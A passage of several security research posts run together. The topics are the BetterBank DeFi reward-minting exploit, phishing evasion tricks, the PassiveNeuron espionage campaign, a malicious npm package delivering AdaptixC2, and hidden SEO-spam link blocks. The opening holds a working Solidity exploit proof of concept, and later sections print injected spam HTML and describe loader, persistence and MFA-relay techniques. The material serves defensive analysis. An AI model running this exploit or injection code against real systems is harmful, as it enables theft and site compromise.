First, a fake liquidity pool pair is created with FAVOR and a fake token is generated by the attacker. By extension, the liquidity pool pairs with this token were also unsubstantiated.
function _createFakeLPPair() internal {
console.log("--- Step 1: Creating Fake LP Pair ---");
vm.startPrank(attacker);
// Create the pair
fakePair = factory.createPair(address(favorToken), address(fakeToken));
console.log("Fake pair created at:", fakePair);
// Add initial liquidity to make it "legitimate"
uint256 favorAmount = 1000 * 1e18;
uint256 fakeAmount = 1000000 * 1e18;
// Transfer FAVOR to attacker
vm.stopPrank();
vm.prank(admin);
favorToken.transfer(attacker, favorAmount);
vm.startPrank(attacker);
// Approve router
favorToken.approve(address(router), favorAmount);
fakeToken.approve(address(router), fakeAmount);
// Add liquidity
router.addLiquidity(
address(favorToken),
address(fakeToken),
favorAmount,
fakeAmount,
0,
0,
attacker,
block.timestamp + 300
);
console.log("Liquidity added to fake pair");
console.log("FAVOR in pair:", favorToken.balanceOf(fakePair));
console.log("FAKE in pair:", fakeToken.balanceOf(fakePair));
vm.stopPrank();
}
Next, the fake LP pair is approved in the allowedDirectPair mapping, allowing it to pass the system check and perform the bulk swap transactions.
These steps enable exploit execution, completing FAVOR swaps and collecting ESTEEM bonuses.
function _executeExploit() internal {
console.log("--- Step 3: Executing Exploit ---");
vm.startPrank(attacker);
uint256 exploitAmount = 100 * 1e18; // 100 FAVOR per swap
uint256 iterations = 10; // 10 swaps
console.log("Performing %d exploit swaps of %d FAVOR each", iterations, exploitAmount / 1e18);
for (uint i = 0; i < iterations; i++) {
_performExploitSwap(exploitAmount);
console.log("Swap %d completed", i + 1);
}
// Claim accumulated bonuses
console.log("Claiming accumulated ESTEEM bonuses...");
favorToken.claimBonus();
vm.stopPrank();
}
We also performed a single swap in a local environment to demonstrate the design flaw that allowed the attackers to perform transactions over and over again.
function _performExploitSwap(uint256 amount) internal {
// Create swap path: FAVOR -> FAKE -> FAVOR
address[] memory path = new address[](2);
path[0] = address(favorToken);
path[1] = address(fakeToken);
// Approve router
favorToken.approve(address(router), amount);
// Perform swap - this triggers logBuy() and mints ESTEEM
router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
amount,
0, // Accept any amount out
path,
attacker,
block.timestamp + 300
);
}
Finally, several checks are performed to verify the exploit’s success.
function _verifyExploitSuccess() internal {
uint256 finalFavorBalance = favorToken.balanceOf(attacker);
uint256 finalEsteemBalance = esteemToken.balanceOf(attacker);
uint256 esteemMinted = esteemToken.totalSupply() - initialEsteemBalance;
console.log("Attacker's final FAVOR balance:", finalFavorBalance / 1e18);
console.log("Attacker's final ESTEEM balance:", finalEsteemBalance / 1e18);
console.log("Total ESTEEM minted during exploit:", esteemMinted / 1e18);
// Verify the attack was successful
assertGt(finalEsteemBalance, 0, "Attacker should have ESTEEM tokens");
assertGt(esteemMinted, 0, "ESTEEM tokens should have been minted");
console.log("EXPLOIT SUCCESSFUL!");
console.log("Attacker gained ESTEEM tokens without legitimate trading activity");
}
Conclusion
The BetterBank exploit was a multifaceted attack that combined technical precision with detailed knowledge of the protocol’s design flaws. The root cause was a lack of validation in the reward-minting logic, which enabled an attacker to generate unlimited value from a counterfeit liquidity pool. This technical failure was compounded by an organizational breakdown whereby a critical vulnerability explicitly identified in a security audit was downgraded in severity and left unpatched.
The incident serves as a powerful case study for developers, auditors, and investors. It demonstrates that ensuring the security of a decentralized protocol is a shared, ongoing responsibility. The vulnerability was not merely a coding error, but rather a design flaw that created an exploitable surface. The confusion and crisis communications that followed the exploit are a stark reminder of the consequences when communication breaks down between security professionals and protocol teams. While the return of a portion of the funds is a positive outcome, it does not overshadow the core lesson: in the world of decentralized finance, every line of code matters, every audit finding must be taken seriously, and every protocol must adopt a proactive, multilayered defense posture to safeguard against the persistent and evolving threats of the digital frontier.
Cyberthreats are constantly evolving, and email phishing is no exception. Threat actors keep coming up with new methods to bypass security filters and circumvent user vigilance. At the same time, established – and even long-forgotten – tactics have not gone anywhere; in fact, some are getting a second life. This post details some of the unusual techniques malicious actors are employing in 2025.
Using PDF files: from QR codes to passwords
Emails with PDF attachments are becoming increasingly common in both mass and targeted phishing campaigns. Whereas in the past, most PDF files contained phishing links, the main trend in these attacks today is the use of QR codes.
Email with a PDF attachment that contains a phishing QR code
This represents a logical progression from the trend of using QR codes directly in the email body. This approach simplifies the process of disguising the phishing link while motivating users to open the link on their mobile phone, which may lack the security safeguards of a work computer.
Email campaigns that include phishing links embedded in PDF attachments continue to pose a significant threat, but attackers are increasingly employing additional techniques to evade detection. For example, some PDF files are encrypted and protected with a password.
Phishing email with a password-protected PDF attachment
The password may be included in the email that contains the PDF, or it may be sent in a separate message. From the cybersecurity standpoint, this approach complicates quick file scanning, while for the recipients it lends an air of legitimacy to attackers’ efforts and can be perceived as adherence to high security standards. Consequently, these emails tend to inspire more user trust.
PDF file after the user enters the password
Phishing and calendar alerts
The use of calendar events as a spam technique, which was popular in the late 2010s but gradually faded away after 2019, is a relatively old tactic. The concept is straightforward: attackers send an email that contains a calendar appointment. The body of the email may be empty, but a phishing link is concealed in the event description.
Blank email with a phishing link in the calendar appointment
When the recipient opens the email, the event is added to their calendar – along with the link. If the user accepts the meeting without thoroughly reviewing it, they will later receive a reminder about it from the calendar application. As a result, they risk landing on the phishing website, even if they chose not to open the link directly in the original message.
In 2025, phishers revived this old tactic. However, unlike the late 2010s, when these campaigns were primarily mass mailshots designed with Google Calendar in mind, they are now being used in B2B phishing and specifically target office workers.
Phishing sign-in form for a Microsoft account from a calendar phishing attack
Verifying existing accounts
Attackers are not just updating the methods they use to deliver phishing content, but also the phishing websites. Often, even the most primitive-looking email campaigns distribute links to pages that utilize new techniques.
Voice message phishing
For example, we observed a minimalistic email campaign crafted to look like an alert about a voice message left for the user. The body of the email contained only a couple of sentences, often with a space in the word “voice”, and a link. The link led to a simple landing page that invited the recipient to listen to the message.
Landing page that opens when clicking the link in the phishing email
However, if the user clicks the button, the path does not lead to a single page but rather a chain of verification pages that employ CAPTCHA. The purpose is likely to evade detection by security bots.
The CAPTCHA verification chain
After repeatedly proving they are not a bot, the user finally lands on a website designed to mimic a Google sign-in form.
The phishing sign-in form
This page is notable for validating the Gmail address the user enters and displaying an error if it is not a registered email.
Error message
If the victim enters a valid address, then, regardless whether the password is correct or not, the phishing site will display another similar page, with a message indicating that the password is invalid. In both scenarios, clicking “Reset Session” opens the email input form again. If a distracted user attempts to log in by trying different accounts and passwords, all of these end up in the hands of the attackers.
MFA evasion
Because many users protect their accounts with multi-factor authentication, scammers try to come up with ways to steal not just passwords but also one-time codes and other verification data. Email phishing campaigns that redirect users to sites designed to bypass MFA can vary significantly in sophistication. Some campaigns employ primitive tactics, while others use well-crafted messages that are initially difficult to distinguish from legitimate ones. Let’s look at an email that falls in the latter category.
Phishing email that mimics a pCloud notification
Unlike most phishing emails that try to immediately scare the user or otherwise grab their attention, the subject here is quite neutral: a support ticket update from the secure cloud storage provider pCloud that asks the user to evaluate the quality of the service. No threats or urgent calls to action. If the user attempts to follow the link, they are taken to a phishing sign-in form visually identical to the original, but with one key difference: instead of pcloud.com, the attackers use a different top-level domain, p-cloud.online.
The phishing sign-in form
At every step of the user’s interaction with the form on the malicious site, the site communicates with the real pCloud service via an API. Therefore, if a user enters an address that is not registered with the service, they will see an error, as if they were signing in to pcloud.com. If a real address is entered, a one-time password (OTP) input form opens, which pCloud also requests when a user tries to sign in.
OTP input form
Since the phishing site relays all entered data to the real service, an attempt to trick the verification process will fail: if a random combination is entered, the site will respond with an error.
Attempting to bypass verification
The real OTP is sent by the pCloud service to the email address the user provided on the phishing site.
OTP email
Once the user has “verified” the account, they land on the password input form; this is also requested by the real service. After this step, the phishing page opens a copy of the pCloud website, and the attacker gains access to the victim’s account. We have to give credit to the scammers: this is a high-quality copy. It even includes a default folder with a default image identical to the original, which may delay the user’s realization that they have been tricked.
Password input form
Conclusion
Threat actors are increasingly employing diverse evasion techniques in their phishing campaigns and websites. In email, these techniques include PDF documents containing QR codes, which are not as easily detected as standard hyperlinks. Another measure is password protection of attachments. In some instances, the password arrives in a separate email, adding another layer of difficulty to automated analysis. Attackers are protecting their web pages with CAPTCHAs, and they may even use more than one verification page. Concurrently, the credential-harvesting schemes themselves are becoming more sophisticated and convincing.
To avoid falling victim to phishers, users must stay sharp:
Treat unusual attachments, such as password-protected PDFs or documents using a QR code instead of a link to a corporate website, with suspicion.
Before entering credentials on any web page, verify that the URL matches the address of the legitimate online service.
Organizations are advised to conduct regular security training for employees to keep them up-to-date on the latest techniques being used by threat actors. We also recommend implementing a reliable solution for email server security. For example, Kaspersky Security for Mail Server detects and blocks all the attack methods described in this article.
Back in 2024, we gave a brief description of a complex cyberespionage campaign that we dubbed “PassiveNeuron”. This campaign involved compromising the servers of government organizations with previously unknown APT implants, named “Neursite” and “NeuralExecutor”. However, since its discovery, the PassiveNeuron campaign has been shrouded in mystery. For instance, it remained unclear how the implants in question were deployed or what actor was behind them.
After we detected this campaign and prevented its spreading back in June 2024, we did not see any further malware deployments linked to PassiveNeuron for quite a long time, about six months. However, since December 2024, we have observed a new wave of infections related to PassiveNeuron, with the latest ones dating back to August 2025. These infections targeted government, financial and industrial organizations located in Asia, Africa, and Latin America. Since identifying these infections, we have been able to shed light on many previously unknown aspects of this campaign. Thus, we managed to discover details about the initial infection and gather clues on attribution.
While investigating PassiveNeuron infections both in 2024 and 2025, we found that a vast majority of targeted machines were running Windows Server. Specifically, in one particular infection case, we observed attackers gain initial remote command execution capabilities on the compromised server through the Microsoft SQL software. While we do not have clear visibility into how attackers were able to abuse the SQL software, it is worth noting that SQL servers typically get compromised through:
Exploitation of vulnerabilities in the server software itself
Exploitation of SQL injection vulnerabilities present in the applications running on the server
Getting access to the database administration account (e.g. by brute-forcing the password) and using it to execute malicious SQL queries
After obtaining the code execution capabilities with the help of the SQL software, attackers deployed an ASPX web shell for basic malicious command execution on the compromised machine. However, at this stage, things did not go as planned for the adversary. The Kaspersky solution installed on the machine was preventing the web shell deployment efforts, and the process of installing the web shell ended up being quite noisy.
In attempts to evade detection of the web shell, attackers performed its installation in the following manner:
They dropped a file containing the Base64-encoded web shell on the system.
They dropped a PowerShell script responsible for Base64-decoding the web shell file.
They launched the PowerShell script in an attempt to write the decoded web shell payload to the filesystem.
As Kaspersky solutions were preventing the web shell installation, we observed attackers to repeat the steps above several times with minor adjustments, such as:
Using hexadecimal encoding of the web shell instead of Base64
Using a VBS script instead of a PowerShell script to perform decoding
Writing the script contents in a line-by-line manner
Having failed to deploy the web shell, attackers decided to use more advanced malicious implants to continue the compromise process.
Malicious implants
Over the last two years, we have observed three implants used over the course of PassiveNeuron infections, which are:
Neursite, a custom C++ modular backdoor used for cyberespionage activities
NeuralExecutor, a custom .NET implant used for running additional .NET payloads
the Cobalt Strike framework, a commercial tool for red teaming
While we saw different combinations of these implants deployed on targeted machines, we observed that in the vast majority of cases, they were loaded through a chain of DLL loaders. The first-stage loader in the chain is a DLL file placed in the system directory. Some of these DLL file paths are:
C:\Windows\System32\wlbsctrl.dll
C:\Windows\System32\TSMSISrv.dll
C:\Windows\System32\oci.dll
Storing DLLs under these paths has been beneficial to attackers, as placing libraries with these names inside the System32 folder makes it possible to automatically ensure persistence. If present on the file system, these DLLs get automatically loaded on startup (the first two DLLs are loaded into the svchost.exe process, while the latter is loaded into msdtc.exe) due to the employed Phantom DLL Hijacking technique.
It also should be noted that these DLLs are more than 100 MB in size — their size is artificially inflated by attackers by adding junk overlay bytes. Usually, this is done to make malicious implants more difficult to detect by security solutions.
On startup, the first-stage DLLs iterate through a list of installed network adapters, calculating a 32-bit hash of each adapter’s MAC address. If neither of the MAC addresses is equal to the value specified in the loader configuration, the loader exits. This MAC address check is designed to ensure that the DLLs get solely launched on the intended victim machine, in order to hinder execution in a sandbox environment. Such detailed narrowing down of victims implies the adversary’s interest towards specific organizations and once again underscores the targeted nature of this threat.
Having checked that it is operating on a target machine, the loader continues execution by loading a second-stage loader DLL that is stored on disk. The paths where the second-stage DLLs were stored as well as their names (examples include elscorewmyc.dll and wellgwlserejzuai.dll) differed between machines. We observed the second-stage DLLs to also have an artificially inflated file size (in excess of 60 MB), and the malicious goal was to open a text file containing a Base64-encoded and AES-encrypted third-stage loader, and subsequently launch it.
Snippet of the payload file contents
This payload is a DLL as well, responsible for launching a fourth-stage shellcode loader inside another process (e.g. WmiPrvSE.exe or msiexec.exe) which is created in suspended mode. In turn, this shellcode loads the final payload: a PE file converted to a custom executable format.
In summary, the process of loading the final payload can be represented with the following graph:
Final payload loading
It is also notable that attackers attempted to use slightly different variants of the loading scheme for some of the target organizations. For example, we have seen cases without payload injection into another process, or with DLL obfuscation on disk with VMProtect.
The Neursite backdoor
Among the three final payload implants that we mentioned above, the Neursite backdoor is the most potent one. We dubbed it so because we observed the following source code path inside the discovered samples: E:\pro\code\Neursite\client_server\nonspec\mbedtls\library\ssl_srv.c. The configuration of this implant contains the following parameters:
List of C2 servers and their ports
List of HTTP proxies that can be used to connect to C2 servers
List of HTTP headers used while connecting to HTTP-based C2 servers
A relative URL used while communicating with HTTP-based C2 servers
A range of wait time between two consecutive C2 server connections
A byte array of hours and days of the week when the backdoor is operable
An optional port that should be opened for listening to incoming connections
The Neursite implant can use the TCP, SSL, HTTP and HTTPS protocols for C2 communications. As follows from the configuration, Neursite can connect to the C2 server directly or wait for another machine to start communicating through a specified port. In cases we observed, Neursite samples were configured to use either external servers or compromised internal infrastructure for C2 communications.
The default range of commands implemented inside this backdoor allows attackers to:
Retrieve system information.
Manage running processes.
Proxy traffic through other machines infected with the Neursite implant, in order to facilitate lateral movement.
Additionally, this implant is equipped with a component that allows loading supplementary plugins. We observed attackers deploy plugins with the following capabilities:
Shell command execution
File system management
TCP socket operations
The NeuralExecutor loader
NeuralExecutor is another custom implant deployed over the course of the PassiveNeuron campaign. This implant is .NET based, and we found that it employed the open-source ConfuserEx obfuscator for protection against analysis. It implements multiple methods of network communication, namely TCP, HTTP/HTTPS, named pipes, and WebSockets. Upon establishing a communication channel with the C2 server, the backdoor can receive commands allowing it to load .NET assemblies. As such, the main capability of this backdoor is to receive additional .NET payloads from the network and execute them.
Tricky attribution
Both Neursite and NeuralExecutor, the two custom implants we found to be used in the PassiveNeuron campaign, have never been observed in any previous cyberattacks. We had to look for clues that could hint at the threat actor behind PassiveNeuron.
Back when we started investigating PassiveNeuron back in 2024, we spotted one such blatantly obvious clue:
Function names found inside NeuralExecutor
In the code of the NeuralExecutor samples we observed in 2024, the names of all functions had been replaced with strings prefixed with “Супер обфускатор”, the Russian for “Super obfuscator”. It is important to note, however, that this string was deliberately introduced by the attackers while using the ConfuserEx obfuscator. When it comes to strings that are inserted into malware on purpose, they should be assessed carefully during attribution. That is because threat actors may insert strings in languages they do not speak, in order to create false flags intended to confuse researchers and incident responders and prompt them to make an error of judgement when trying to attribute the threat. For that reason, we attached little evidential weight to the presence of the “Супер обфускатор” string back in 2024.
After examining the NeuralExecutor samples used in 2025, we found that the Russian-language string had disappeared. However, this year we noticed another peculiar clue related to this implant. While the 2024 samples were designed to retrieve the C2 server addresses straight from the configuration, the 2025 ones did so by using the Dead Drop Resolver technique. Specifically, the new NeuralExecutor samples that we found were designed to retrieve the contents of a file stored in a GitHub repository, and extract a string from it:
Contents of the configuration file stored on GitHub
The malware locates this string by searching for two delimiters, wtyyvZQY and stU7BU0R, that mark the start and the end of the configuration data. The bytes of this string are then Base64-decoded and decrypted with AES to obtain the C2 server address.
Snippet of the implant configuration
It is notable that this exact method of obtaining C2 server addresses from GitHub, using a string containing delimiter sequences, is quite popular among Chinese-speaking threat actors. For instance, we frequently observed it being used in the EastWind campaign, which we previously connected to the APT31 and APT27 Chinese-speaking threat actors.
Furthermore, during our investigation, we learned one more interesting fact that could be useful in attribution. We observed numerous attempts to deploy the PassiveNeuron loader in one particular organization. After discovering yet another failed deployment, we have detected a malicious DLL named imjp14k.dll. An analysis of this DLL revealed that it had the PDB path G:\Bee\Tree(pmrc)\Src\Dll_3F_imjp14k\Release\Dll.pdb. This PDB string was referenced in a report by Cisco Talos on activities likely associated with the threat actor APT41. Moreover, we identified that the discovered DLL exhibits the same malicious behavior as described in the Cisco Talos report. However, it remains unclear why this DLL was uploaded to the target machine. Possible explanations could be that the attackers deployed it as a replacement for the PassiveNeuron-related implants, or that it was used by another actor who compromised the organization simultaneously with the attackers behind PassiveNeuron.
When dealing with attribution of cyberattacks that are known to involve false flags, it is difficult to understand which attribution indicators to trust, or whether to trust any at all. However, the overall TTPs of the PassiveNeuron campaign most resemble the ones commonly employed by Chinese-speaking threat actors. Since TTPs are usually harder to fake than indicators like strings, we are, as of now, attributing the PassiveNeuron campaign to a Chinese-speaking threat actor, albeit with a low level of confidence.
Conclusion
The PassiveNeuron campaign has been distinctive in the way that it primarily targets server machines. These servers, especially the ones exposed to the internet, are usually lucrative targets for APTs, as they can serve as entry points into target organizations. It is thus crucial to pay close attention to the protection of server machines. Wherever possible, the attack surface associated with these servers should be reduced to a minimum, and all server applications should be monitored to prevent emerging infections in a timely manner. Specific attention should be paid to protecting applications against SQL injections, which are commonly exploited by threat actors to obtain initial access. Another thing to focus on is protection against web shells, which are deployed to facilitate compromise of servers.
The first version of the AdaptixC2 post-exploitation framework, which can be considered an alternative to the well-known Cobalt Strike, was made publicly available in early 2025. In spring of 2025, the framework was first observed being used for malicious means.
In October 2025, Kaspersky experts found that the npm ecosystem contained a malicious package with a fairly convincing name: https-proxy-utils. It was posing as a utility for using proxies within projects. At the time of this post, the package had already been taken down.
The name of the package closely resembles popular legitimate packages: http-proxy-agent, which has approximately 70 million weekly downloads, and https-proxy-agent with 90 million downloads respectively. Furthermore, the advertised proxy-related functionality was cloned from another popular legitimate package proxy-from-env, which boasts 50 million weekly downloads. However, the threat actor injected a post-install script into https-proxy-utils, which downloads and executes a payload containing the AdaptixC2 agent.
Metadata for the malicious (left) and legitimate (right) packages
OS-specific adaptation
The script includes various payload delivery methods for different operating systems. The package includes loading mechanisms for Windows, Linux, and macOS. In each OS, it uses specific techniques involving system or user directories to load and launch the implant.
In Windows, the AdaptixC2 agent is dropped as a DLL file into the system directory C:\Windows\Tasks. It is then executed via DLL sideloading. The JS script copies the legitimate msdtc.exe file to the same directory and executes it, thus loading the malicious DLL.
Deobfuscated Windows-specific code for loading AdaptixC2
In macOS, the script downloads the payload as an executable file into the user’s autorun directory: Library/LaunchAgents. The postinstall.js script also drops a plist autorun configuration file into this directory. Before downloading AdaptixC2, the script checks the target architecture (x64 or ARM) and fetches the appropriate payload variant.
Deobfuscated macOS-specific code for loading AdaptixC2
In Linux, the framework’s agent is downloaded into the temporary directory /tmp/.fonts-unix. The script delivers a binary file tailored to the specific architecture (x64 or ARM) and then assigns it execute permissions.
Deobfuscated Linux-specific code for loading AdaptixC2
Once the AdaptixC2 framework agent is deployed on the victim’s device, the attacker gains capabilities for remote access, command execution, file and process management, and various methods for achieving persistence. This both allows the attacker to maintain consistent access and enables them to conduct network reconnaissance and deploy subsequent stages of the attack.
Conclusion
This is not the first attack targeting the npm registry in recent memory. A month ago, similar infection methods utilizing a post-install script were employed in the high-profile incident involving the Shai-Hulud worm, which infected more than 500 packages. The AdaptixC2 incident clearly demonstrates the growing trend of abusing open-source software ecosystems, like npm, as an attack vector. Threat actors are increasingly exploiting the trusted open-source supply chain to distribute post-exploitation framework agents and other forms of malware. Users and organizations involved in development or using open-source software from ecosystems like npm in their products are susceptible to this threat type.
To stay safe, be vigilant when installing open-source modules: verify the exact name of the package you are downloading, and more thoroughly vet unpopular and new repositories. When using popular modules, it is critical to monitor frequently updated feeds on compromised packages and libraries.
When analyzing the content of websites in an attempt to determine what category it belongs to, we sometimes get an utterly unexpected result. It could be the official page of a metal structures manufacturer or online flower shop, or, say, a law firm website, with completely neutral content, but our solutions would place it squarely in the “Adult content” category. On the surface, it is completely unclear how our systems arrived at that verdict, but one look at the content categorization engine’s page analysis log clears it up.
Invisible HTML block, or SEO spam
The website falls into the questionable category because it contains an HTML block with links to third-party sites, invisible to regular users. These sites typically host content of a certain kind – which, in our experience, is most often pornographic or gambling materials – and in the hidden block, you will find relevant keywords along with the links. These practices are a type of Black Hat SEO, or SEO spam: the manipulation of website search rankings in violation of ethical search engine optimization (SEO) principles. Although there are many techniques that attackers use to raise or lower websites in search engine rankings, we have encountered hidden blocks more frequently lately, so this is what this post focuses on.
Website owners rarely suspect a problem until they face obvious negative consequences, such as a sharp drop in traffic, warnings from search engines, or complaints from visitors. Those who use Kaspersky solutions may see their sites blocked due to being categorized as prohibited, a sign that something is wrong with them. Our engine detects both links and their descriptions that are present in a block like that.
How hidden links work
Hyperlinks that are invisible to regular users but still can be scanned by various analytical systems, such as search engines or our web categorization engine, are known as “hidden links”. They are often used for scams, inflating website rankings (positions in search results), or pushing down the ranking of a victim website.
To understand how this works, let us look at how today’s SEO functions in the first place. A series of algorithms is responsible for ranking websites in search results, such as those served by Google. The oldest and most relevant one to this article is known as PageRank. The PageRank metric, or weight in the context of this algorithm, is a numerical value that determines the importance of a specific page. The higher the number of links from other websites pointing to a page, and the greater those websites’ own weights, the higher the page’s PageRank.
So, to boost their own website’s ranking in search results, the malicious actor places hidden links to it on the victim website. The higher the victim website’s PageRank, the more attractive it is to the attacker. High-traffic platforms like blogs or forums are of particular interest to them.
However, PageRank is no longer the only method search engines use to measure a website’s value. Google, for example, also applies other algorithms, such as the artificial intelligence-based RankBrain or the BERT language model. These algorithms use more sophisticated metrics, such as Domain Authority (that is, how much authority the website has on the subject the user is asking about), link quality, and context. Placing links on a website with a high PageRank can still be beneficial, but this tactic has a severely limited effect due to advanced algorithms and filters aimed at demoting sites that break the search engine’s rules. Examples of these filters are as follows:
Google Penguin, which identifies and penalizes websites that use poor-quality or manipulative links, including hidden ones, to boost their own rankings. When links like these are detected, their weight can be zeroed out, and the ranking may be lowered for both sites: the victim and the spam website.
Google Panda, which evaluates content quality. If the website has a high PageRank, but the content is of low quality, duplicated, auto-generated, or otherwise substandard, the site may be demoted.
Google SpamBrain, which uses machine learning to analyze HTML markup, page layouts, and so forth to identify manipulative patterns. This algorithm is integrated into Google Penguin.
What a Black Hat SEO block looks like in a page’s HTML markup
Let us look at some real examples of hidden blocks we have seen on legitimate websites and determine the attributes by which these blocks can be identified.
Example 1
<div style="display: none;">
افلام سكس اعتصاب <a href="https://www.azcorts.com/" rel="dofollow" target="_self">azcorts.com</a> قنوات جنسية
free indian porn com <a href="https://porngun.mobi" target="_self">porngun.mobi</a> xharmaster
石原莉紅 <a href="https://javclips.mobi/" target="_blank" title="javclips.mobi">javclips.mobi</a> ちっぱい
bank porn <a href="https://pimpmpegs.net" target="_self" title="pimpmpegs.net free video porn">pimpmpegs.net</a> wwwporm
salamat lyrics tagalog <a href="https://www.teleseryeone.com/" target="_blank" title="teleseryeone.com sandro marcos alexa miro">teleseryeone.com</a> play desi
</div>
<div style="display: none;">
كسى بيوجعنى <a href="https://www.sexdejt.org/" rel="dofollow">sexdejt.org</a> سكس سانى
indian sex video bp <a href="https://directorio-porno.com/" rel="dofollow" target="_self" title="directorio-porno.com">directorio-porno.com</a> xvideos indian pussy
swara bhaskar porn <a href="https://greenporn.mobi" title="greenporn.mobi lesbian porn hq">greenporn.mobi</a> kannada sexy video
bp sex full <a href="https://tubepornmix.info" target="_blank" title="tubepornmix.info aloha tube porn video">tubepornmix.info</a> lily sex
pinayflix pamasahe <a href="https://www.gmateleserye.com/" rel="dofollow" target="_blank">gmateleserye.com</a> family feud november 17
</div>
<div style="display: none;">
sunny leone ki bp download <a href="https://eroebony.info" target="_self" title="eroebony.info">eroebony.info</a> hansika xvideos
موقع سكس ايطالى <a href="https://bibshe.com/" target="_self" title="bibshe.com سكس العادة السرية">bibshe.com</a> صور احلى كس
raja rani coupon result <a href="https://booketube.mobi" rel="dofollow">booketube.mobi</a> exercise sex videos
indianbadwap <a href="https://likeporn.mobi" rel="dofollow" target="_blank" title="likeporn.mobi free hd porn">likeporn.mobi</a> rabi pirzada nude video
marathi porn vidio <a href="https://rajwap.biz" rel="dofollow" target="_blank" title="rajwap.biz">rajwap.biz</a> www.livesex.com
</div>
This example utilizes a simple CSS style,
<div style="display: none;">. This is one of the most basic and widely known methods for concealing content; the parameter
display:none; stands for “do not display”. We also see that each invisible
<div> section contains a set of links to low-quality pornographic websites along with their keyword-stuffed descriptions. This clearly indicates spam, as the website where we found this block has no relation whatsoever to the type of content being linked to.
Another sign of Black Hat SEO in the example is the attribute
rel="dofollow". This instructs search engines that the link carries link juice, meaning it passes weight. Spammers intentionally set this attribute to transfer authority from the victim website to the ones they are promoting. In standard practice, webmasters may, conversely, use
rel="nofollow", which signifies that the presence of the link on the site should not influence the ranking of the website where it leads.
Thus, the combination of a hidden block (
display:none;) and a set of external pornographic (in this instance) links with the
rel="dofollow" attribute unequivocally point to a SEO spam injection.
Note that all
<div> sections are concentrated in one spot, at the end of the page, rather than scattered throughout the page code. This block demonstrates a classic Black Hat SEO approach.
This example demonstrates a slightly more sophisticated approach to hiding the block containing Black Hat SEO content. It suggests an attempt to bypass the automated search engine filters that easily detect the
display:none; parameter.
Let us analyze the set of CSS styles:
<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">. The properties position:
absolute;height:0pt;width:0pt; remove the block from the visible area of the page, while overflow: auto prevents the content from being displayed even if it exceeds zero dimensions. This makes the links inaccessible to humans, but it does not prevent them from being preserved in the DOM (document object model). That’s why HTML code scanning systems, such as search engines, are able to see it.
In addition to the zero dimensions of the block, in this example, just as in the previous one, we see the attribute
rel="dofollow", as well as many links to pornographic websites with relevant keywords.
The combination of styles that sets the block dimensions to zero is less obvious than
display:none; because the element is technically present in the rendering, although it is not visible to the user. Nevertheless, it is worth noting that modern search engine security algorithms, such as Google Penguin, detect this technique too. To counter this, malicious actors may employ more complex techniques for evading detection. Here is another example:
<script src="files/layout/js/slider3d.js?v=0d6651e2"></script><script src="files/layout/js/layout.js?v=51a52ad1"></script>
<style type="text/css">.ads-gold {height: 280px;overflow: auto;color: transparent;}.ads-gold::-webkit-scrollbar { display: none;}.ads-gold a {color: transparent;}.ads-gold {font-size: 10px;}.ads-gold {height: 0px;overflow: hidden;}</style>
<div class="ads-gold">
Ganhe Rápido nos Jogos Populares do Cassino Online <a href="https://580-bet.com" target="_blank">580bet</a>
Cassino <a href="https://bet-7k.com" target="_blank">bet 7k</a>: Diversão e Grandes Vitórias Esperam por Você
Aposte e Vença no Cassino <a href="https://leao-88.com" target="_blank">leao</a> – Jogos Fáceis e Populares
Jogos Populares e Grandes Prêmios no Cassino Online <a href="https://luck-2.com" target="_blank">luck 2</a>
Descubra os Jogos Mais Populares no Cassino <a href="https://john-bet.com" target="_blank">john bet</a> e Ganhe
<a href="https://7755-bet.com" target="_blank">7755 bet</a>: Apostas Fáceis, Grandes Oportunidades de Vitória
Jogue no Cassino Online <a href="https://cbet-88.com" target="_blank">cbet</a> e Aumente suas Chances de Ganhar
Ganhe Prêmios Incríveis com Jogos Populares no Cassino <a href="https://bet7-88.com" target="_blank">bet7</a>
Cassino <a href="https://pk55-88.com" target="_blank">pk55</a>: Onde a Sorte Está ao Seu Lado
Experimente o Cassino <a href="https://8800-bet.com" target="_blank">8800 bet</a> e Ganhe com Jogos Populares
Ganhe Facilmente no Cassino Online <a href="https://doce-88.com" target="_blank">doce</a>
Aposte e Vença no Cassino <a href="https://bet-4-br.com" target="_blank">bet 4</a>
Jogos Populares e Grandes Premiações na <a href="https://f12--bet.com" target="_blank">f12bet</a>
Descubra a Diversão e Vitória no Cassino <a href="https://bet-7-br.com" target="_blank">bet7</a>
Aposte nos Jogos Mais Populares do Cassino <a href="https://ggbet-88.com" target="_blank">ggbet</a>
Ganhe Prêmios Rápidos no Cassino Online <a href="https://bet77-88.com" target="_blank">bet77</a>
Jogos Fáceis e Rápidos no Cassino <a href="https://mrbet-88.com" target="_blank">mrbet</a>
Jogue e Ganhe com Facilidade no Cassino <a href="https://bet61-88.com" target="_blank">bet61</a>
Cassino <a href="https://tvbet-88.com" target="_blank">tvbet</a>: Onde a Sorte Está Ao Seu Lado
Aposte nos Melhores Jogos do Cassino Online <a href="https://pgwin-88.com" target="_blank">pgwin</a>
Ganhe Grande no Cassino <a href="https://today-88.com" target="_blank">today</a> com Jogos Populares
Cassino <a href="https://fuwin-88.com" target="_blank">fuwin</a>: Grandes Vitórias Esperam por Você
Experimente os Melhores Jogos no Cassino <a href="https://brwin-88.com" target="_blank">brwin</a>
</div></body>
Aside from the parameters we are already familiar with, which are responsible for concealing a block (
height:0px,color:transparent,overflow:hidden), and the name that hints at its contents (
\<style type="text/css"\>.ads-gold), strings with scripts in this example can be found at the very beginning:
<script src="files/layout/js/slider3d.js?v=0d6651e2"></script> and
<script src="files/layout/js/layout.js?v=51a52ad1"></script>. These indicate that external JavaScript can dynamically control the page content, for example, by adding or changing hidden links, that is, modifying this block in real time.
This is a more advanced approach than the ones in the previous examples. Yet it is also detected by filters responsible for identifying suspicious manipulations.
Other parameters and attributes exist that attackers use to conceal a link block. These, however, can also be detected:
the parameter
visibility:hidden; can sometimes be seen instead of
display:none;.
Within
position:absolute;, the block with hidden links may not have a zero size, but rather be located far beyond the visible area of the page. This can be set, for example, via the property
left:-9232px;, as in the example below.
How attackers place hidden links on other people’s websites
To place hidden links, attackers typically exploit website configuration errors and vulnerabilities. This may be a weak or compromised password for an administrator account, plugins or an engine that have not been updated in a long time, poor filtering of user inputs, or security issues on the hosting provider’s side. Furthermore, attackers may attempt to exploit the human factor, for example, by setting up targeted or mass phishing attacks in the hope of obtaining the website administrator’s credentials.
Let us examine in detail the various mechanisms through which an attacker gains access to editing a page’s HTML code.
